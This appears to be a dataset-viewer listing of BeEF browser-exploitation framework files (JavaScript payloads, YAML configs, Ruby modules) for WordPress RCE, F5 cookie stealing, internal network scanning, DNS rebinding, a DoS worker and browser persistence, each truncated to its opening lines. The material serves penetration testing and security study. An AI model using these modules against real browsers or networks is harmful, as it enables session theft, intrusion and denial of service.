language
stringlengths
0
24
filename
stringlengths
9
214
code
stringlengths
99
9.93M
Ruby
beef/modules/misc/wordpress/upload_rce_plugin/module.rb
# # Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # # This is a rewrite of the original module misc/wordpress_post_auth_rce. # # Original Author: Bart Leppens # Rewritten by Erwan LR (@erwan_lr | WPScanTeam) # # To be executed, the reque...
JavaScript
beef/modules/misc/wordpress_post_auth_rce/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var wordpress_url = '<%= @wordpress_url %>'; var admin_directory = '/wp-admin'; log = function(data){...
YAML
beef/modules/misc/wordpress_post_auth_rce/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: wordpress_post_auth_rce: enable: true category: "Misc" name: "Wordpress Post-A...
Ruby
beef/modules/misc/wordpress_post_auth_rce/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Wordpress_post_auth_rce < BeEF::Core::Command def self.options [ { 'name' => 'wordpress_url', 'ui_label' => 'Target Web Se...
JavaScript
beef/modules/network/ADC/f5_bigip_cookie_disclosure/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var poolName = 'unknown'; var routedDomain = 'unknown'; var BIGipCookieName = ''; var BIGipCookieVal...
YAML
beef/modules/network/ADC/f5_bigip_cookie_disclosure/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: f5_bigip_cookie_disclosure: enable: true category: ["Network","ADC"] name: "F5...
Ruby
beef/modules/network/ADC/f5_bigip_cookie_disclosure/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class F5_bigip_cookie_disclosure < BeEF::Core::Command def post_execute return if @datastore['results'].nil? save({ 'BigIPCookie'...
JavaScript
beef/modules/network/ADC/f5_bigip_cookie_stealing/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var t = document.createElement('div'); t.id = 'test'; document.body.appendChild(t); var g = document....
YAML
beef/modules/network/ADC/f5_bigip_cookie_stealing/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: f5_bigip_cookie_stealing: enable: true category: ["Network","ADC"] name: "F5 B...
Ruby
beef/modules/network/ADC/f5_bigip_cookie_stealing/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class F5_bigip_cookie_stealing < BeEF::Core::Command def post_execute return if @datastore['result'].nil? save({ 'BigIPSessionCoo...
JavaScript
beef/modules/network/cross_origin_scanner_cors/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var ips = new Array(); var ipRange = "<%= @ipRange %>"; var ports = "<%= @ports %>"; var threads =...
YAML
beef/modules/network/cross_origin_scanner_cors/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: cross_origin_scanner_cors: enable: true category: "Network" name: "Cross-Origi...
Ruby
beef/modules/network/cross_origin_scanner_cors/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Cross_origin_scanner_cors < BeEF::Core::Command def post_execute content = {} content['result'] = @datastore['result'] s...
JavaScript
beef/modules/network/cross_origin_scanner_flash/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var ips = new Array(); var ipRange = "<%= @ipRange %>"; var ports = "<%= @ports %>"; var threads =...
YAML
beef/modules/network/cross_origin_scanner_flash/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: cross_origin_scanner_flash: enable: true category: "Network" name: "Cross-Orig...
Ruby
beef/modules/network/cross_origin_scanner_flash/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Cross_origin_scanner_flash < BeEF::Core::Command def pre_send BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_cac...
JavaScript
beef/modules/network/cross_origin_scanner_flash/swfobject.js
/* SWFObject v2.2 <http://code.google.com/p/swfobject/> is released under the MIT License <http://www.opensource.org/licenses/mit-license.php> */ var swfobject=function(){var D="undefined",r="object",S="Shockwave Flash",W="ShockwaveFlash.ShockwaveFlash",q="application/x-shockwave-flash",R="SWFObjectExprInst",x="onre...
JavaScript
beef/modules/network/detect_burp/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { load_script = function(url) { var s = document.createElement("script"); s.type = 'text/javascript'...
YAML
beef/modules/network/detect_burp/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: detect_burp: enable: true category: "Network" name: "Detect Burp" ...
Ruby
beef/modules/network/detect_burp/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Detect_burp < BeEF::Core::Command def post_execute save({ 'result' => @datastore['result'] }) configuration = BeEF::Core::C...
JavaScript
beef/modules/network/detect_ethereum_ens/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { if (document.getElementById('ethereum_ens_img_<%= @command_id %>')) { return "Img already created"; } v...
YAML
beef/modules/network/detect_ethereum_ens/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: detect_ethereum_ens: enable: true category: "Network" name: "Detect Ethereum E...
Ruby
beef/modules/network/detect_ethereum_ens/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Detect_ethereum_ens < BeEF::Core::Command def self.options [ { 'name' => 'ethereum_ens_resource', 'ui_label' => 'What Ethe...
JavaScript
beef/modules/network/detect_opennic/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { if (document.getElementById('opennic_img_<%= @command_id %>')) { return "Img already created"; } var im...
YAML
beef/modules/network/detect_opennic/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: detect_opennic: enable: true category: "Network" name: "Detect OpenNIC DNS" ...
Ruby
beef/modules/network/detect_opennic/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Detect_opennic < BeEF::Core::Command def self.options [ { 'name' => 'opennic_resource', 'ui_label' => 'What OpenNIC image ...
JavaScript
beef/modules/network/detect_soc_nets/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var facebookresult = ""; var twitterresult = ""; if (document.getElementById('gmailimg')) { return "I...
YAML
beef/modules/network/detect_soc_nets/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: detect_soc_nets: enable: true category: "Network" name: "Detect Social Network...
Ruby
beef/modules/network/detect_soc_nets/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Detect_soc_nets < BeEF::Core::Command def self.options [ { 'name' => 'timeout', 'ui_label' => 'Detection Timeout', 'value'...
JavaScript
beef/modules/network/detect_tor/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { if (document.getElementById('torimg')) { return "Img already created"; } var img = new Image(); img.s...
YAML
beef/modules/network/detect_tor/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: detect_tor: enable: true category: "Network" name: "Detect Tor" d...
Ruby
beef/modules/network/detect_tor/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Detect_tor < BeEF::Core::Command def self.options [ { 'name' => 'tor_resource', 'ui_label' => 'What Tor resource to reques...
JavaScript
beef/modules/network/dns_enumeration/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var dns_list = "<%= @dns_list %>"; var timeout = parseInt("<%= @timeout %>"); var cont=0; v...
YAML
beef/modules/network/dns_enumeration/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: dns_enumeration: enable: true category: "Network" name: "DNS Enumeration" ...
Ruby
beef/modules/network/dns_enumeration/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # # # DNS Enumeration class Dns_enumeration < BeEF::Core::Command def self.options [ { 'name' => 'dns_list', 'ui_label' => 'DNS (...
JavaScript
beef/modules/network/dns_rebinding/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var domain = "<%= @domain %>" if (window.location.href.indexOf(domain) == -1) { window.locatio...
YAML
beef/modules/network/dns_rebinding/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: dns_rebinding: enable: true category: "Network" name: "DNS Rebinding" ...
Ruby
beef/modules/network/dns_rebinding/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Dns_rebinding < BeEF::Core::Command def self.options domain = BeEF::Core::Configuration.instance.get('beef.module.dns_rebinding....
Markdown
beef/modules/network/dns_rebinding/README.md
# Manual to DNS Rebinding (aka Anti DNS Pinning aka multiple A record) attack # ## How does attack work in general? ## Attacker must have some domain and DNS server responds to DNS query for this domain. When client's browser connects to the attacker's domain it gets two IP addresses: * First IP address in the DNS ...
JavaScript
beef/modules/network/DOSer/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var url = '<%= @url %>'; var delay = '<%= @delay %>'; var method = '<%= @method %>'; var pos...
YAML
beef/modules/network/DOSer/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: doser: enable: true category: "Network" name: "DOSer" description:...
Ruby
beef/modules/network/DOSer/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Doser < BeEF::Core::Command def pre_send BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/network/DOSer/...
JavaScript
beef/modules/network/DOSer/worker.js
var url = ""; var delay = 0; var method = ""; var post_data = ""; var counter = 0; onmessage = function (oEvent) { url = oEvent.data['url']; delay = oEvent.data['delay']; method = oEvent.data['method']; post_data = oEvent.data['post_data']; doRequest(); }; function noCache(u){ var result = ""; if(u.indexOf("?"...
JavaScript
beef/modules/network/fetch_port_scanner/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { // some basic variables to get us started var blocked_ports = [ 1, 7, 9, 11, 13, 15, 17, 19, 20, 21,...
YAML
beef/modules/network/fetch_port_scanner/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: fetch_port_scanner: enable: true category: "Network" name: "Fetch Port Scanner...
Ruby
beef/modules/network/fetch_port_scanner/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Fetch_port_scanner < BeEF::Core::Command # set and return all options for this module def self.options [ { 'name' => 'ip...
JavaScript
beef/modules/network/get_http_servers/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var ips = "<%= @rhosts %>"; var ports = "<%= @ports %>"; var timeout = parseInt("<%= @timeout %>...
YAML
beef/modules/network/get_http_servers/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: get_http_servers: enable: true category: "Network" name: "Get HTTP Servers (Fa...
Ruby
beef/modules/network/get_http_servers/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Get_http_servers < BeEF::Core::Command def self.options [ { 'name' => 'rhosts', 'ui_label' => 'Remote IP(s)', 'value' => ...
JavaScript
beef/modules/network/get_ntop_network_hosts/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var rhost = '<%= @rhost %>'; var rport = '<%= @rport %>'; load_script = function(url) { beef.debug...
YAML
beef/modules/network/get_ntop_network_hosts/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: get_ntop_network_hosts: enable: true category: "Network" name: "Get ntop Netwo...
Ruby
beef/modules/network/get_ntop_network_hosts/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Get_ntop_network_hosts < BeEF::Core::Command def self.options [ { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' ...
JavaScript
beef/modules/network/get_proxy_servers_wpad/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { load_script = function(url) { beef.debug("[Get Proxy Servers] Loading: " + url); var s = document....
YAML
beef/modules/network/get_proxy_servers_wpad/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: get_proxy_servers_wpad: enable: true category: "Network" name: "Get Proxy Serv...
Ruby
beef/modules/network/get_proxy_servers_wpad/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Get_proxy_servers_wpad < BeEF::Core::Command def post_execute save({ 'result' => @datastore['result'] }) configuration = Be...
JavaScript
beef/modules/network/identify_lan_subnets/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { if(!beef.browser.isFF() && !beef.browser.isC()){ beef.debug("[command #<%= @command_id %>] Browser is ...
YAML
beef/modules/network/identify_lan_subnets/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: identify_lan_subnets: enable: true category: "Network" name: "Identify LAN Sub...
Ruby
beef/modules/network/identify_lan_subnets/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # ## # Ported to BeEF from: http://browserhacker.com/code/Ch10/index.html ## class Identify_lan_subnets < BeEF::Core::Command def self.opti...
JavaScript
beef/modules/network/internal_network_fingerprinting/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var ips = new Array(); var ipRange = "<%= @ipRange %>"; var ports = "<%= @ports %>"; var threads =...
YAML
beef/modules/network/internal_network_fingerprinting/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: internal_network_fingerprinting: enable: true category: "Network" name: "Finge...
Ruby
beef/modules/network/internal_network_fingerprinting/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Internal_network_fingerprinting < BeEF::Core::Command def self.options [ { 'name' => 'ipRange', 'ui_label' => 'Scan IP ra...
JavaScript
beef/modules/network/jslanscanner/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // // Ported to BeEF from jslanscanner: https://code.google.com/p/jslanscanner/source/browse/trunk/lan_scan/js/lan_scan.js beef.execute(fu...
YAML
beef/modules/network/jslanscanner/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # # Ported to BeEF from JsLanScanner: https://code.google.com/p/jslanscanner/source/browse/trunk/lan_scan/js/lan_scan.js # beef: module: ...
Ruby
beef/modules/network/jslanscanner/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Fingerprint_routers < BeEF::Core::Command def self.options [] end def post_execute content = {} content['results']...
JavaScript
beef/modules/network/nat_pinning_irc/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var privateip = '<%= @privateip %>'; var privateport = '<%= @privateport %>'; var connectto = '<%= @con...
YAML
beef/modules/network/nat_pinning_irc/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: irc_nat_pinning: enable: true category: "Network" name: "IRC NAT Pinning" ...
Ruby
beef/modules/network/nat_pinning_irc/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Irc_nat_pinning < BeEF::Core::Command def pre_send BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_socket('IRC', ...
JavaScript
beef/modules/network/ping_sweep/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var ips = new Array(); var rhosts = "<%= @rhosts %>"; var threads = parseInt("<%= @threads %>", 10) ||...
YAML
beef/modules/network/ping_sweep/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: ping_sweep: enable: true category: "Network" name: "Ping Sweep" de...
Ruby
beef/modules/network/ping_sweep/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Ping_sweep < BeEF::Core::Command def post_execute content = {} content['result'] = @datastore['result'] save content ...
JavaScript
beef/modules/network/ping_sweep_ff/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var ips = new Array(); var ipRange = "<%= @ipRange %>"; var timeout = "<%= @timeout %>"; va...
YAML
beef/modules/network/ping_sweep_ff/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: ping_sweep_ff: enable: true category: "Network" name: "Ping Sweep (FF)" ...
Ruby
beef/modules/network/ping_sweep_ff/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # # # Ping Sweep Module - jgaliana # Discover active hosts in the internal network of the hooked browser. # It works calling a Java method fro...
JavaScript
beef/modules/network/ping_sweep_java/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var ipRange = "<%= @ipRange %>"; var timeout = "<%= @timeout %>"; var appletTimeout = 30; v...
YAML
beef/modules/network/ping_sweep_java/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: ping_sweep_java: enable: true category: "Network" name: "Ping Sweep (Java)" ...
Ruby
beef/modules/network/ping_sweep_java/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # # # Ping Sweep Module - jgaliana # Discover active hosts in the internal network of the hooked browser. # It works calling a Java method fro...
Java
beef/modules/network/ping_sweep_java/pingSweep.java
/* * Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net * Browser Exploitation Framework (BeEF) - http://beefproject.com * See the file 'doc/COPYING' for copying permission */ import java.applet.Applet; import java.io.IOException; import java.net.InetAddress; import java.net.UnknownHostException; import java....
JavaScript
beef/modules/network/port_scanner/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var blocked_ports = [ 1, 7, 9, 11, 13, 15, 17, 19, 20, 21, 22, 23, 25, 37, 42, 43, 53, 77, 79, 87, 95, 101...
YAML
beef/modules/network/port_scanner/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: port_scanner: enable: true category: "Network" name: "Port Scanner" ...
Ruby
beef/modules/network/port_scanner/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # # # Port Scanner Module - javier.marcos # Scan ports in a given hostname, using WebSockets CORS and HTTP with img tags. # It uses the three ...
JavaScript
beef/modules/persistence/confirm_close_tab/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { function display_confirm(){ if(confirm("<%= @text %>")){ display_confirm(); ...
YAML
beef/modules/persistence/confirm_close_tab/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: confirm_close_tab: enable: true category: "Persistence" name: "Confirm Close T...
Ruby
beef/modules/persistence/confirm_close_tab/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Confirm_close_tab < BeEF::Core::Command def self.options [{ 'name' => 'text', 'description' => 'Specifies message to...
JavaScript
beef/modules/persistence/hijack_opener/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var referrer = document.referrer; try { beef.debug("[Hijack Opener] Trying to hijack: " + referrer); ...
YAML
beef/modules/persistence/hijack_opener/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: hijack_opener: enable: true category: "Persistence" name: "Hijack Opener Windo...
Ruby
beef/modules/persistence/hijack_opener/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Hijack_opener < BeEF::Core::Command def pre_send config = BeEF::Core::Configuration.instance hook_file = config.get('beef.ht...
JavaScript
beef/modules/persistence/iframe_above/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { beef.dom.persistentIframe(); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Links hav...
YAML
beef/modules/persistence/iframe_above/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: iframe_above: enable: true category: "Persistence" name: "Create Foreground iF...
Ruby
beef/modules/persistence/iframe_above/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Iframe_above < BeEF::Core::Command # This method is being called when a hooked browser sends some # data back to the framework. ...
JavaScript
beef/modules/persistence/invisible_htmlfile_activex/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { try { var hook_url = beef.net.httpproto + '://' + beef.net.host+ ':' + beef.net.port + beef.net.hook; ...
YAML
beef/modules/persistence/invisible_htmlfile_activex/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: invisible_htmlfile_activex: enable: true category: "Persistence" name: "Invisi...
Ruby
beef/modules/persistence/invisible_htmlfile_activex/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Invisible_htmlfile_activex < BeEF::Core::Command def post_execute save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/persistence/jsonp_service_worker/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var scriptElem = document.createElement("script"); var hook = encodeURIComponent(beef.net.hook); var te...
YAML
beef/modules/persistence/jsonp_service_worker/config.yaml
